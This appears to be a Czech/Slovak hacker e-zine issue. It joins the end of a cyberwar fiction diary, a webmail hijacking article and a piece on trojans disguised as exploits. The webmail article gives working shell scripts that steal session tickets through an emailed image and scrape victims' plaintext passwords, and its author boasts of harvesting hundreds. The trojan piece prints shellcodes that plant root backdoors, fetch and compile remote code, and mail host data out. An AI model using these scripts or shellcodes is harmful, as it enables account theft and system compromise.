armada spojenych statov sa horuckovito pripravuje na svoju odvetnu kampan,
operaciu cyberlord (ktorej info-bojove aspekty nazvali digitalnou burkou).
plan zavisi na rychlej reakcii jednotiek rychleho nasadenia (8-10 vojakov).
tito zautocia a fyzicky znicia utocnicke hniezda, umiestnene mimo uzemia ciny
a ruska. vreeland mal zase nejake sialene plany s bombardovanim oboch krajin,
ale nastastie mu to nepreslo.

jeden z mojich jobov pre mckaya bolo obhajit pouzitie malych jednotiek pred
excommom. argumentoval som, ze menej je viac. cim mensie jednotky, tym viacej
ich moze byt nasadenych v akcii.

na zaklade dat pozbieranych z predchadzajucich utokov, zo zap! sajtov a od
rukojemnikov, americka rozviedka bola schopna potvrdit a fyzicky zamerat 13
operacnych centier v utocnej sieti pfw. vsetky su mimo uzemia ruska a ciny,
vacsina na spornej pode, tak ako stanoviste v spratley. na vsetky sa zautoci
v uvodnych hodinach protiofenzivy.

prezidentka konecne odsuhlasila vojenske utoky. tieto utoky su pripravene tak,
aby sa mohla popriet americka ucast na nich, cim sa tato cast vojny zachova
"studenou", na druhej strane, operacia digitalna burka by mala prebehnut takou
silou, ze prinuti pfw skoncit tuto cybervojnu.

naproti opatrnym utokom pfw proti spojenym statom, americka ucast na cybervojne
bude rychla a rozsiahla - druh vojny, ktory opisal historik russell weigley ako
- "americky sposob vojny".

1 august bol stanoveny na prvy den protiofenzivy.

01 august, 16:50 edt

vsetci mame pochybnosti o protiofenzive. moze viest k nuklearnej vymene. zoberte
si krajinu frustrovanu cybervojnou. ked si myslia, ze padnu tak ci tak, mozno
stlacia odpalovacie tlacidlo. ale, samozrejme, nemozem sediet na zadku a nechat
ich pustat nam zilou az do smrti - smrti na nasledky tisica bodnuti. tu
zeleznica, tam mesto, mozno par jumbojetov s pasaziermi, az pokym sa nezruti
ekonomika... a mozno skoncime s destabilizaciou a vojenskym prevratom.

na obavy je neskoro. uz sme sa rozhodli.

laurie sa nakoniec ozvala. je ok! v detroite bola nejaka strasna evakuacia.
vojaci, vojenske autobusy... je zvlastne, ze sme o tom nepoculi. ale teraz su
spravy plne inych veci.

operacia cyberlord bola zahajena dnes rano pechotou americkych specialnych sil
a v rovnakom case ako zacal utok, skolabovali energeticke siete ruska a ciny.

potrubia v oboch krajinach boli poskodene, avsak guang zhou daily sajt oznamil,
ze boli schopni zabranit totalnej prirodnej katastrofe len vdaka hrdinskym
zasahom pracovnikov, ktori manualne uzavreli cely sektor - a potom ztlmili
priboj ropy, ktora uz vytiekla.

utok spojenych statov sa rozrastol na kyberutoky na rusky a cinsky financny
sektor, cim sposobil totalny chaos v oboch statoch. v obidvoch pripadoch bol
pouzity modifikovany morrissov cerv - s velkym uspechom. tento osobitny utocny
nastroj, ktory umoznuje nekonecnu replikaciu a generovanie nezmyselneho kodu,
vychrlil obrovske mnozstva dat na stare ruske unixove mainframy, ktore sa este
stale pouzivaju.

ruske a cinske dopravne, financne a energeticke systemy boli odstavene, co
sposobilo nekalkulovatelnu ekonomicku skodu a predbezne spravy hovoria, ze
straty na zivotoch boli vacsie ako v spojenych statoch na zaciatku konfliktu.

stale si opakujem: "oni to zacali, oni to zacali..."

01 august, 23:31 edt

kyberutoky na usa sa obnovili a tentokrat boli zamerane na financny sektor.
avsak, ako tvrdi wall street journal toto je najlepsie chranena oblast americkej
infosfery. kazde utocne hniezdo je rychlo zamerane specialnymi jednotkami
a zneskodnene.

02 august, 09:01 edt

bol som v bufete v pentagone, jedol som sendvic a prezeral som si spravy nasich
utokov, ked zem pod mojimi nohami akoby nadskocila. dole pod nami prebiehali
explozie. v rovnakom case som zacul obrovsky rachot. svetla na moment zhasli,
o chvilu naskocil zalozny zdroj.

pomyslel som si: "tak uz je to tu. prehrialo sa to, atomova vojna..."

vybehol som do haly, tak ako ostatni z bufetu. ozbrojeny vojaci po nas hulakali,
aby sme isli do podzemia po poziarnych schodoch. bezal som do svojej kancelarie,
schmatol som laptop a utekal za ostatnymi pod zem. uz neboli badatelne ziadne
vybuchy. rozsirili sa chyry, ze vybuch nebol nuklearny. bol to druh emp bomby.
predstavte si masivnu mikrovlnnu pecku - v plnej intenzite. vonku je totalny
chaos. ludia zhoreli. niektori s napoly uvarenymi mozgami, blabotali. auta sa
zastavili na ulici - elektronika zhorela - blokujuc policajne a zachranarske
vozy. bolo to otrasne.

02 august, 09:46 edt

moj laptop prestal fungovat - dnes pisem na kus papiera. dam si to do mojich
zaloznych poznamok, ked si zozeniem novy.

poslali ma do nemocnice na kontrolu, len pre istotu. vyzera to tak, ze som v
poriadku.

pretoze ziadna elektronika v budove nefungovala, chvilu trvalo zistit, ze
mikrovlnna megabomba vybuchla nedaleko vchodu do pentagonu od rieky. tak ako
variant emp bomby bola navrhnuta na uprazenie telekomunikacneho vybavenia, ako
aj personalu v blizkosti. a to aj spravila. toto bol zjavny pokus knokautovat
informacne bojove centrum usa. ale kybervojna bola riadena z velmi hlbokeho
podzemia a iba par povrchovych komunikacnych liniek bolo znicenych. zbytok
pentagonu bol aj tak pekne zapeceny. myslite, ze boli tieneni? nie...

najvecsi uder schytali ludia na parkovisku pri vchode. inzinieri tvrdia, ze
predbezne vypocty ukazuju, ze to bola najsilnejsia mikrovlnna bomba, aku kedy
videli.

02 august, 22:46 edt

spat v mojej kancelarii, ktora je relativne neposkodena. prezidentka zavelila
odvetu, ale stale pod ruskom tajnosti. utok na ruske zakladne v kaliningrade,
a na cinske komunikacne centrum v beihai.

03 august, 11:05 edt

ziadne dalsie bombove utoky na us zakladne. nikde. vela ludi z excommu to berie
ako tichy dokaz, ze v podstate bojujeme tretiu svetovu - proti cine a rusku -
a ze nemaju dost silny zaludok alebo vedomosti na udrzanie takehoto konfliktu.
ja si myslim, ze cina a rusko planuju posunut celu vojnu do inej urovne...
pretoze vedia, ze prezidentka je zdrahava. a mozno, ze nie je a prave v tom je
hrozba. rozmyslam ako connie. (a kde vlastne je? ziadna odpoved na email. to sa
na nu nepodoba)

rusko a cina pokracuju v popierani ucasti na vojne a ukazuju obvinujuci prst na
spojene staty. matne hrozia moznostou jadroveho vyvrcholenia.

prezidentka, ktorej rating sa akosi ustalil, sa drzi dobre. citi ze vyhrava
kybervojnu a ze nikto nepouzije atomovu bombu ako prvy. je na horucej linke s
moskvou a s pekingom a presviedca ich, ze spojene staty nemaju nic spolocne s
tymi utokmi. jeden priatel spomenul, ze povedala lebedovi:

"vsetci sme obete."

co ine mohla povedat?

04 august, 16:18 edt

prave ked sa zdalo, ze nuklearna kriza je zdarne zazehnana a ako i polne tak i
kyber operacie sa vyvijaju pre nas priaznivo, vojnove usilie dostalo bolestny
uder - z vnutra. od opozicie prezidentkinej politiky.

dnes komisia vedcov cez informatiku priliala benzin do ohna protestom obyvatelov
siete uverejnenim informacii na zap! sajte, dokazujuc, ze spojene staty, napriek
svojim verejnym vyhlaseniam, su zapojene do kybervojny proti rusku a cine.

musim uznat, ze som hlboko sklamany tymto vyvojom, i ked respektujem hlad
obyvatelov siete po informaciach. vyhlasenie komisie o tajnej kybervojne
vyvolalo nepokoj uz po niekolkych hodinach. je to vo vsetkych spravach, vsade.
a myslim naozaj vsade. titulok na zape!: "verejnost ziada okamzite ukoncenie
hackovania!"

ako oznamili najnovsie spravy, drviva vacsina amikov nechce byt ani najmensou
sucastou v rozsiahlej, extremne narusajucej tajnej vojne. prieskumy verejnej
mienky jasne ukazali, ze verenost je proti neviditelnej vojne, ktora sa dotyka
ich domovov, narusa dopravu, financnu bezpecnost a ich vlastne zivoty.
prezidentkin rating prudko klesol.

bude dost tazke pokracovat. nemam ani potuchy, co mckay urobi. dnes sa nekonala
ziadna tlacovka.

04. august, 23:51 edt

od mckaya som pocul, ze prezidentka, ktora sa obrnila a zacala ist vsetkymi
sposobmi proti rusom a cinanom, bola roztrasena a zaskocena masivnymi
elektronickymi protestmi proti kybernetickej vojne. fakt, ze americania
vynuchali jej tajnu operaciu cyberlord, ju vystrasil. pytala sa protestujucich:

"snad nechcete vyvolat skutocnu vojnu? jezisikriste, oni si neuvedomuju, ze
tato 'studena vojna' je cesta, ktorou sa veci v informacnom veku uberaju - a je
to tak lepsie!"

"hej," zasupil sa mckay. "to predsa nestaci. preco...niektorym ludom by mohli
chybat ich oblubene programiky!" krcovito sa rozrehotal na plne usta. znelo to
ako nieco, co prave vymyslel. kazdopadne bolo jasne, co mame robit - co najskor
ukoncit operaciu cyberlord.

mam strach, ze nas cis a jej kamarati mozu dotlacit az k nuklearnej vojne! ak
mame obstat v skuske, i napriek pochybam, ako je trebars identita naseho
nepriatela, teraz sme na tahu my.

mckay bol namorny kapitan, takze som obhajoval svoj pripad pomocou analogie
s lamacmi kodu. ktori pomahali lovit u-booty v druhej svetovej. niekedy sa
zavesili na zachyteny signal povolujuci utok na konvoj - v nadeji, ze by vlcia
svorka mohla byt v spojeni s velenim dostatocne dlho, aby ziskali kluc k
nemeckemu kodu sifrovacieho zariadenia enigma. to okrem ineho znamenalo, ze
nacuvali volanie konvoja o pomoc, az pokym zufala bitka neskoncila a nemohli
podniknut ziadne kroky veduce k startu lietadiel zo sprievodnych lodi a utoku
na nemecke ponorky. spinavy obchod. to je koniec-koncov vo vojne normalne.

v jednej z najriskantnejsich operacii vojny velitelstvo informacneho boja
docasne oslabilo ochranu jadrovej elektrarne v diablo kanyon. bola vybrana,
pretoze sme v poslednych par dnoch detekovali niekolko pokusov o infiltraciu
do ovladacich systemov elektrarne, avsak neboli sme schopni identifikovat
utocnika. dufali sme, ze ziskame dostatok casu an jeho vystopovanie, predtym,
nez utok zarazime.

nechce sa mi ani pomysliet, co by sa stalo, keby sme boli prilis pomali. connie
na to stale myslela. pozrite kam ju to dostalo. ivars mi hovoril, ze ju zabasli.

05 august, 12:36 edt

utok skutocne prisiel. ani nie po hodine a pol po oslabeni ochrany. bol zamerany
na centralny riadiaci system vo forme obrovskej logickej bomby, alebo, ako sa
jej obycajne hovori kvoli jej destrukcnej vlastnosti - i-bomby. dovolili sme
utocnikovi prielom do systemu bez akychkolvek zabran.

utok prebiehal nasledovne: hacker pomocou brute force utoku nasiel heslo ku
klucovym kontrolnym systemom. potom, ako sa dostal dnu ako obycajny pracovnik
elektrarne, mal obmedzeny pristup k beznym ovladacim prvkom. nechali sme ho
pracovat, pokym sme nevystopovali, odkial je pripojeny...

zdrzanie medzi jednotlivymi obrannymi krokmi zposobilo, ze i-bomba stihla
ciastocne vybuchnut. avsak podarilo sa nam zamedzit obrovskym kaskadovitym
efektom, ktore by sprevadzali "cisty" vybuch. vysledok pasce bol, ze sa
chovanie reaktora priblizilo ku kritickym hodnotam. silny pobrezny vietor
rozfukal lahko radioaktivny mrak na uzemie obyvane skoro milionom ludi.

inak sa nic nestalo.

vacsina z nich pravdepodobne aj tak neumrie priamo kvoli tomu. viac ich zomrie
na detsku leukemiu. inak sa nic nestalo. inak sa nic nestalo. pripijam si na:
"inak sa nic nestalo!"

05 august, 18:45 edt

vysledna identifikacia, ktoru velitelstvo informacneho boja ziskalo
nedobrovolnou obetou v diablo canyon dala excommu a prezidentke slusnu istotu,
ze za kyberneticou vojnou nestoji rusko ani cina.

aj napriek tomu, ze kartel cali a azijske triady sa vojny zucastnili, bolo
centrum utoku na reaktor zamerane v problemovej abchazskej republike. odtial,
ako ukazovla analyza trafficu, islo od zaciatku vojny najviac komunikacie do...
severnej koreje. sialenec v severnej korei bol tretim hracom.

ked bola prezidentka oboznamena s tymito informaciami na schodzi excommu,
povedala nam, ze vazni pri vysluchu priznali, ze boli nastrceni a instruovani
tak, aby to hodili na rusov a cinanov. ako dlho to nsa a im podobne skupiny
vedeli? chcel niekto z nich konflikt s cinou a ruskom - napriek tomu, ze
vedeli, ze to pravdepodobne islo zo severnej koreje? mal by som o tom vobec
pisat? (nepustili ma, aby som videl connie, ktora je zatvorena, co ma sralo
najviac - v dc.)

podla vodcu vaznov, mala vojna vyvolat konflikt medzi veducimi velmocami,
triady by ziskali vyhodu dlhej studenej vojny, behom ktorej by ziskalo kontrolu
nad transpacifickym obchodom. ako legalnym, tak nezakonnym. ano, severna korea
chcela byt spolupachatelom ale bolo tu vela malych statov: vietnam, irak, lybia,
ktore vsetky velke mocnosti nenavideli a zaroven sa ich bali. to bol hlavny
dovod, preco bola kyberneticka vojna vymyslena. mala ich postavit proti sebe
navzajom, podla slov vaznov, "ako zuriacich vlkov". potom by svet mohol byt
bezpecnejsi, ako by sa vplyv mocnosti zmensoval - pokym by nezmizol uplne -
a mohlo sa stat, ze lup by isiel k vitazom.

na mckayove odporucanie prezidentka vydala okamzity prikaz zastavujuci
kyberneticke utoky na rusko a cinu. prostrednictvom diplomatickych kanalov
sa nepriamo ospravedlnila. velmi, velmi nepriamo...a to tak, aby sa to dalo
lahko popriet, keby sa to dostalo na verejnost. v tej istej dobe dala prikaz
specialnym jednotkam k utoku na centrum v abchazsku. pripravy zacali ihned.
utok bol naplanovany na zajtrajsie rano. dalsie prikaz uviedol do bojovej
pohotovosti nase jednotky v korei.

06 august, 19:22 edt

operacia roland bola zahajena prienikom do abchazska, udernou jednotkou
zostavenou z dvoch ciat seal a jedneho a-teamu specialneho nasadenia.

takto to verejnost miluje: bezpecne v zamori, krasne a ciste. zabijanie nie je
vidiet, pokial zrovna necumite do bedne.

pre nepriatelske velitelstvo bol utok takmer dokonalym prikladom momentu
prekvapenia (konecne). aj napriek tomu, ze boli obrancovia dost a dobre
vyzbrojeni, stanica bola obsadena, dokonca s takmer neposkodenym vybavenim.
dvanast nasich vojakov bolo zabitych ale ziadne americke programy, feny,
chladnicky ani interenety neboli poskodene. sakra, uspech, nie?

prve reakcie z ruska a ciny neboli odsudzujuce. jasne naznacovali tuzbu po
ukludneni situacie. nechceli ani nuklearnu vojnu, ani dlhy boj v skutocnej
kybernetickej vojne. obe velmoci podnikli urcite zastrene kroky ohladne pomoci
usa v povojnovej obnove. prezidentka mala, ako som pocul, vycitky svedomia.
slubila pomoc v obove ruskej a cinskej informacnej infrastruktury. vsetka
pomoc, ako inak, bol apodmienena spolupracou pri stopovani medzinarodnych
zlocincov a teroristov, ktori stali v pozadi tejto vojny. a specificku cinsku
vypomoc pri potlacani korejskych tuzob.

07 august, 13:38 edt

v poslednom prejave americkemu ludu a svetu volala prezidentka po okamzitom
ukonceni hackovania a nicenia. americke sily, ktore sa zucastnili operacie
cyberlord boli rozpustene. povedala amikom, ze velka kyberneticka vojna bola
zinscenovana niekolkymi "medzinarodnymi zlocineckymi organizaciami" v spojeni
s niektorymi statmi ("s kolkymi presne, to sa asi nikdy s istotou nedozvieme",
poznamenala). divim sa, kto jej to napisal. dodala, ze pfw boli definitivne
zmeteni z povrchu zemskeho a ze velka kyberneticka vojna mala uzitocny vedlajsi
efekt. a to, ze pomohla k vyhre v drogoej vojne - teraz, ked su kartely tak
oslabene. prihodila este poznamky, ze "rusko, cina a nasi spojenci z nato, boli
urceni k skonceniu hrozby kybernetickej vojny, bojovnych statov, kriminalnikov
a teroristov." a vsetci suhlasili so sankciami voci korei. vobec nespomenula
radioaktivny mrak.

za zape! (ktory ma dnes cez 12 milionov pristupov denne a bol odkupeny time
warner), spolocnost vedcov cez informatiku komentovala prezidentkinu rec drsnou
kritikou a pozadovala aby zaplatila svoju drahu a nevyhlasenu tajnu vojnu proti
rusku a cine. na tlacovke prezidentka komentar odmietla a hovorila o "case
ozdravenia".

na poslednom stretnuti excommu sme sa dozvedeli, ze prezidentka podpisala
zahajenie operacie cain - plan sabotazi v severnej korei. mali sa uskutocnit
v priebehu niekolkych nasledujucich mesiacov a sposobit kolaps rezimu v
pchjong-jangu, aby mohlo dojst k zovuzjednoteniu poloostrova.

31 august, 17:47 pdt

uz tyzdne neboli detekovane ziadne nepriatelske utoky.

pfw - nejaki "skutocni" lameri - boli velmi blizko tomu, aby rozputali
celosvetovu vojnu, v ktorej by sa velmoci znicili navzajom. a rovnako ako sme
sa my naucili, ako sa mame branit a ako viest protiutoky, tak i oni sa museli
naucit novu taktiku - taktiku, ktoru proti nam skor ci neskor znovu pouziju,
ked budu mat vhodnejsiu prilezitost.

12 september, 08:26 pdt

hovoril som s mckayom o connie a ivarsovi - povedal, ze u zich pustili! tajne
sluzby sa zjavne snazili dostat ich za mreze ale nepodarilo sa im to. ale...
connyina rodina vravi, ze ona a ivars "odisli do undergroundu... spolu".
nehovoril som s nimi a tak neviem, preco sa tak radikalizovali. mozno je to
nutna pretvarka. ale mohli odist, pretoze vedeli, ze budu stale sledovani.
connie vedela prilis vela a mala na veci "zly" nazor. dufam, ze vyklzla nsa.
nestaram sa, na ktorej zasranej strane je.

operacia cain bola odhalena a potlacena. plan bol postnuty na zap! asi pred
tyzdnom. tento incident nevyhnutelne musel ztazit snahy o "vycistenie" severnej
koreje.

12 jun 2003, 13:02 pdt

ubehly mesiace a stale nikto z bojovnikov velkej kybernetickej vojny nepriznal
svoju plnu ucast. stale sme iba banda deciek s dosiroka otvorenymi ocami,
mykajuci ramenami a volajuci: "to som nebol ja, mami!"

spojene staty vedu s ruskou a cinskou podporou kampan na zakaz a zmluvne
zavazky ohladne prveho pouzitia kybernetickych zbrani. ale divil by som sa,
keby taka zaruka mala nejaky vyznam.

a samozrejme, ze akykolvek zakaz kybernetickej vojny ratifikovany spojenymi
narodmi ma minimalny vyznam pre lotrov, teroristov a kriminalne siete, ktori
predovsetkym sposobili velku kyberneticku vojnu. velitelstvo informacneho boja
sledovalo kroky podniknute jednotlivymi velmocami pri hladani sluzieb tychto
kybernetickych bojovnikov. kazdy chcel zohnat najdrsnejsieho typka. mozno, ze
sme mali najviac cigariet na rozdavanie, pretoze nase odpovede odstartovali
preteky v preplacani ich sluzieb... obchod ako vzdy. ale nic pre mna.

zacinam nenavidiet ludsku spolocnost - a ja naozaj nechcem byt cynicky ohladne
ludi. potrebujem nejaku cestu von. musim sa nejako obrnit, vypnut pocitac
a vypnut mozog. dnes som poslal spravu mckayovi. informoval som ho ohladne mojho
umyslu vratit sa spat do namornej postgradualnej skoly. ukoncil som ju citatom
z poslednej reci nacelnika josepha z nez perce: "pocuvaj ma, moje srdce je chore
a smutne. odo dnesneho dna uz nikdy nebudem bojovat."

(koniec)

date: sat, 17 nov 2003 22:05:42 -0500 

to: calvin tucker 

from: gregg lanam

subject: *naozajstna* pravda za kybernetickou vojnou??

x-uidl: 9c1fdfd6ff5abf1beb6e98e1dc4ac845



hej calvin, prave som nasiel tuto binarku na alt.conspiracy. je to nejaka

zlozka. anonymny post od niekoho, kto vravi, ze jeho kamarat to vytiahol zo

suboru nejakeho vojaka. nieco ako novy druh hacku. hovori tomu fish. budes

potrebovat acrobat, aby si si to precital, ma to hrozne vela zvuku a video

sekvencii.



a pocuj, v nedelu vecer som to tak nemyslel, iba som zartoval. co si myslis

o tomto? myslim, ci je to naozaj pravda, je niekto prekvapeny, ze sme zase

klamali? ako obvykle, clenovia vlady drzia pri sebe. - gregg

prielom(at)hysteria.sk

navrat na obsah

.cz a .sk free mail servery

nuze, zde mame podrobnosti o security bugu ceskych a slovenskych freemail
serveru. je to uz stare (underground.cz to zverejnil nekdy v listopadu) a
servery to maji fixnute, ale piseme o tom, abyste videli co se vsechno s
webmaily da delat... muzete si to vyzkouset i na jinejch serverech. btw post.cz
a post.sk bylo derave minimalne 1 rok, odchytil jsem tim stovky hesel a uzil
jsem si srandy kopec :)

ted si vysvetlime, jak to fungovalo. k overeni platnosti uzivatele se
pouzival retezec nejakych znaku uvedeny v URL, takzvany ticket. v praxi se
tenhle ticket casto generuje z udaju o klientu pri prihlaseni, treba se
vezme adresa, username a cas a cele se to zasifruje md5sumem. kdyz se
prihlasite ke svemu uctu, vidite, ze adresa serveru je slozena z vic casti,
treba: http://www.post.cz/login.asp?id=45cf33ac1a2a65df. hodnota promenne id
je prave ten autentifikacni ticket o ktery nam jde a ktery obsahuje
zasifrovane udaje o uzivateli. protoze post a podobne servery nekontrolovaly
soucasne pouziti jednoho ticketu z vice adres, staci ziskat obsah ticketu a
muzeme se vesele prihlasit jako nekdo jiny.

jak ovsem ziskat cizi ticket? velice jednoduse: pokud se trochu vyznate v
http protokolu, vite urcite, ze adresa predchozi stranky se odesila na
server v promenne HTTP_REFERER. webmastri diky tomu vidi odkud prichazeji
navstevnici jejich stranek. a proc to trochu nezneuzit? uzivateli, jehoz
heslo chcete zjistit, poslete do schranky html kod s obrazkem z vaseho
serveru. az se na nej podiva, obrazek se natahne a uzivateluv browser vam na
oplatku posle predchozi adresu - prave to
http://www.post.cz/neco?id=ticket. ale pozor, je zde jeste jeden
zadrhel. cizi ticket, ktery se prave zapsal do vasich logu, se da pouzit jen
po omezenou dobu, napriklad 15 minut - po x minutach neaktivity je uzivatel z
bezpecnostnich duvodu odhlasen a ticket je neplatny. takze musime pospichat.

opet nas z problemu vytahne nas genialni unix, kde jdou s pomoci
skriptovacich jazyku delat kouzla. napiseme si skript, ktery bude sam hlidat
logy a pokud tam najde novy ticket, sam se okamzite prihlasi a tim obejde
bezpecnostni lhutu. cele to mame jeste ulehcene naprostou stupiditou systemu
zmeny hesla u serveru post.cz a post.sk - ani nepotrebujete znat predchozi
heslo, a navic je stare heslo napsano v plaintextu v html kodu stranky s
nastavenim. takze nas skript nepotrebuje nic jineho, nez se prihlasit na
dane konto, jit na stranku s nastavenim a precist si tam heslo.

a zde jsou programy na odposlech hesel z post.cz a post.sk, verim, ze pro
ostatni derave servery byste je dokazali upravit sami (opakuju, ze to nema
cenu, chyby jsou uz opraveny!):

$ cat gettickets

#!/bin/sh



if [ ! -f log ]; then

  touch log.old

else

  mv -f log log.old

fi



cat /var/log/httpd/access_log 

| grep "post.cz/mview.asp" 

| awk -F"?id=" '{print $2}' 

| awk -F"&" '{print $1}' 

| awk -F""" '{print $1}' 

> log



for ticket in `diff -u log.old log | grep "^+" | grep -v "+++" |

awk -F"+" '{print $2}'`; do

  ./getpassword $ticket | grep -v "unknown" >> post.log

done

$ cat getpassword

#!/bin/sh



netcat="/usr/bin/nc"

timeout=20



if [ ! $1 ]; then

  echo "Pouziti: $0 "

  exit 1

fi



log=".tmp.${RANDOM}"

trap "rm -f $log" 0 9 15



(

  echo "GET /uprefs.asp?id=${1} HTTP/1.1"

  echo "Host: www.post.cz"

  echo "Connection: close"

  echo

) 

| $netcat -w $timeout www.post.cz 80 > $log



login=`cat $log | grep -iE ">.*@post.cz" '{print $3}'`

heslo=`cat $log | grep -iE "input.*name=overeni.*value=" |

 awk -F "VALUE="" '{print $2}' | awk -F" '{print $1}'`



if [ -z "$login" ]; then

  login="unknown"

fi



if [ -z "$heslo" ]; then

  heslo="unknown"

fi



echo "$login:$heslo"

program gettickets se dal do crontabu na kazdou minutu. sve obeti jste
poslal mail s obrazkem ze sveho serveru. nejpozdeji jednu minutu pote, co si
obet mail precetla, jste meli jeji jmeno a heslo v souboru post.log.

newroot, newroot(at)hysteria.sk

navrat na obsah

trojske kone v exploitoch

uz v minulosti, i ked sporadicky, sa zacali objavovat v roznych konferenciach
zameranych na bezpecnost trojske kone, ktore sa maskuju za exploity napr. na
rozne rozsirene sietove daemony ako sshd, apache/httpd a podobne. v poslednej
dobe sa s podobnymi zalezitostami akoby roztrhlo vrece. takyto trojsky kon nie
je prilis zlozite napisat, i ked tie, ktore sa mi dostali do ruk boli roznej
kvality. najdolezitejsie je, aby sa rozsirili medzi co najvacsi pocet nic
netusiacich uzivatelov. je v tom aj cosi social engineeringu. dostat podobny
trojan do obehu si vyzaduje trochu zrucnosti a hlavne stastia. idealnym sposobom
su napriklad posty do konferencii alebo vytvorenie webstranky s "exploitmi".
aby si autor zabezpecil, ze obet mo naozaj poskytne idealne prostredie, obvykle
byva podmienkou spustat program s pravami administratora. samotny trik spociva
v tom, ze shellcode obsahuje seriu prikazov, ktore vytvoria jednoduchy backdoor
a daju vediet autorovi a i ked to na prvy pohlad vyzera, ze sa shellcode posiela
kamsi na cielovy host, vykona sa na lokalnej masine. zbytok programu plni len
maskovaciu ulohu, odvadza pozornost. a kdesi cosi medzi spletou kopirovania
bufferov, ktore sa aj tak vobec nevyuziju, testovanim moznosti vytvorenia
sietoveho spojenia a ineho balastu okolo, vylezie z utrob nasho dreveneho konika
nebezpecne ozbrene vojsko.

shellcody mozu vyzerat napriklad takto:

(shellcode_1):

cp /etc/inetd.conf /tmp/;(cat /etc/inetd.conf;echo "31337 stream tcp nowait 

root /bin/bash bash -i")>/etc/inetd.conf;killall -HUP inetd;mv /tmp/inetd.conf 

/etc/;echo "`whoami`@`hostname -i`"| mail on@niekde.tam.sk

`which lynx` -dump niekde.sk/backdoor.c>/tmp/backdoor.c;gcc -o /tmp/backdoor 

/tmp/backdoor.c;/tmp/backdoor;rm -f /tmp/backdoor*;echo "`whoami`@`hostname -i"|

mail on@niekde.tam.sk

echo>>/etc/profile;cc -o httpd httpd.c;rm httpd.c;mv httpd /dev/;/dev/httpd;

echo /dev/httpd>>/etc/profile;cat /etc/hosts | mail niekto@niekde.cz

h_length);

  sin.sin_family = AF_INET;

  sin.sin_port = htons(80);

  sck = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

  if (sck < 0) {

    printf("Error: Can't open socket.n");

    exit(1);

  }

   

  if (connect(sck, (struct sockaddr *)&sin, sizeof(sin)) < 0) {

    printf("Error: Connection refused.n");

  }

  

  printf("Status: Connecting to %s.n", argv[1]);

  printf("Press any key to send shellcode or ctrl-c to abort.n");

  

  if (fork() == 0)

  execl("/bin/sh", "sh", "-c", shellcode, 0);while(1);

}